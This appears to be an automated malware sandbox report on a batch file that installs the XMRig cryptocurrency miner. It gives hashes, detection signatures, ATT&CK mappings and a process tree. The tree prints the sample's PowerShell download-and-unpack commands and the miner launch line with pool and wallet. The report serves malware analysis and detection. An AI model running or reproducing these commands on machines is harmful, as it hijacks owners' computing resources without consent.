xmrig | 35347449c9856b13ee6f4131fc675270c55566881a19cc3d6bc5d2b0709412bb

General

Target

s.bat
Size

1KB
MD5

ccc7afd46efac5aca2f96dc6c6d757b5
SHA1

981911ae2cf8c85fd9bbb70ea938105617c2aefd
SHA256

35347449c9856b13ee6f4131fc675270c55566881a19cc3d6bc5d2b0709412bb
SHA512

1d336a5827812cd871bdb1459536c5052e4cc50bde82d3e5fd7e474a1488bf55a0763f1d2cac7f6569a2ac6334f066a465cb7b74e52ddbb2d23bd2a31e7b3563

Score

10^/10

xmrig execution miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000a000000023bb1-57.dat	family_xmrig
behavioral2/files/0x000a000000023bb1-57.dat	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	784	powershell.exe
8	784	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
784	powershell.exe
1820	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
220	xmrig.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1640	timeout.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
784	powershell.exe
784	powershell.exe
1820	powershell.exe
1820	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	784	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeLockMemoryPrivilege	220	xmrig.exe
Token: SeLockMemoryPrivilege	220	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
220	xmrig.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3252 wrote to memory of 784	3252	cmd.exe	84
PID 3252 wrote to memory of 784	3252	cmd.exe	84
PID 3252 wrote to memory of 1640	3252	cmd.exe	86
PID 3252 wrote to memory of 1640	3252	cmd.exe	86
PID 3252 wrote to memory of 1820	3252	cmd.exe	94
PID 3252 wrote to memory of 1820	3252	cmd.exe	94
PID 3252 wrote to memory of 4968	3252	cmd.exe	98
PID 3252 wrote to memory of 4968	3252	cmd.exe	98
PID 3252 wrote to memory of 2156	3252	cmd.exe	99
PID 3252 wrote to memory of 2156	3252	cmd.exe	99
PID 3252 wrote to memory of 4612	3252	cmd.exe	100
PID 3252 wrote to memory of 4612	3252	cmd.exe	100
PID 3252 wrote to memory of 3668	3252	cmd.exe	101
PID 3252 wrote to memory of 3668	3252	cmd.exe	101
PID 3252 wrote to memory of 2000	3252	cmd.exe	102
PID 3252 wrote to memory of 2000	3252	cmd.exe	102
PID 3252 wrote to memory of 2624	3252	cmd.exe	103
PID 3252 wrote to memory of 2624	3252	cmd.exe	103
PID 3252 wrote to memory of 3564	3252	cmd.exe	104
PID 3252 wrote to memory of 3564	3252	cmd.exe	104
PID 3252 wrote to memory of 4944	3252	cmd.exe	105
PID 3252 wrote to memory of 4944	3252	cmd.exe	105
PID 3252 wrote to memory of 220	3252	cmd.exe	106
PID 3252 wrote to memory of 220	3252	cmd.exe	106

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:784
- C:\Windows\system32\timeout.exe
  timeout /t 10
  2⤵
  - Delays execution with timeout.exe
  PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 31
  2⤵
  PID:4968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 12
  2⤵
  PID:2156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 21
  2⤵
  PID:4612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 35
  2⤵
  PID:3668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 35
  2⤵
  PID:2000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 4
  2⤵
  PID:2624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 6
  2⤵
  PID:3564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c echo 0
  2⤵
  PID:4944
- C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe
  "C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe" --donate-level 1 -o de.monero.herominers.com:1111 -u solo:46snjQGRP7EaVq5ByVkqeeQhDoNXfpLgeVUfyafhuoan4SdE6Sn3BVs4C4hykg6y3yWK5w1prCjx84nYs7egieBuAEG2YUX -p p1_ -a rx/0 -k
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a2b24af1492f112d2e53cb7415fda39f

SHA1
dbfcee57242a14b60997bd03379cc60198976d85

SHA256
fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

SHA512
9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xeaoc3fh.0xw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip

Filesize
2.5MB

MD5
57b7ab5bce7d5e47fd168e1f0d437d32

SHA1
050eeae3e0f0e876f9da175347b586871d14fe83

SHA256
1d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc

SHA512
8cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe

Filesize
6.1MB

MD5
f6d520ae125f03056c4646c508218d16

SHA1
f65e63d14dd57eadb262deaa2b1a8a965a2a962c

SHA256
d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1

SHA512
d1ec3da141ce504993a0cbf8ea4b719ffa40a2be4941c18ffc64ec3f71435f7bddadda6032ec0ae6cada66226ee39a2012079ed318df389c7c6584ad3e1c334d

Download Submit
memory/220-59-0x000002011D640000-0x000002011D660000-memory.dmp

Filesize
128KB

Download
memory/784-6-0x000002397F3F0000-0x000002397F412000-memory.dmp

Filesize
136KB

Download
memory/784-11-0x00007FFA38390000-0x00007FFA38E51000-memory.dmp

Filesize
10.8MB

Download
memory/784-12-0x00007FFA38390000-0x00007FFA38E51000-memory.dmp

Filesize
10.8MB

Download
memory/784-16-0x00007FFA38390000-0x00007FFA38E51000-memory.dmp

Filesize
10.8MB

Download
memory/784-0-0x00007FFA38393000-0x00007FFA38395000-memory.dmp

Filesize
8KB

Download
memory/1820-28-0x00007FFA381C0000-0x00007FFA38C81000-memory.dmp

Filesize
10.8MB

Download
memory/1820-32-0x0000019763120000-0x000001976312A000-memory.dmp

Filesize
40KB

Download
memory/1820-31-0x0000019763130000-0x0000019763142000-memory.dmp

Filesize
72KB

Download
memory/1820-55-0x00007FFA381C0000-0x00007FFA38C81000-memory.dmp

Filesize
10.8MB

Download
memory/1820-30-0x00007FFA381C0000-0x00007FFA38C81000-memory.dmp

Filesize
10.8MB

Download
memory/1820-18-0x00007FFA381C0000-0x00007FFA38C81000-memory.dmp

Filesize
10.8MB

Download

Analysis

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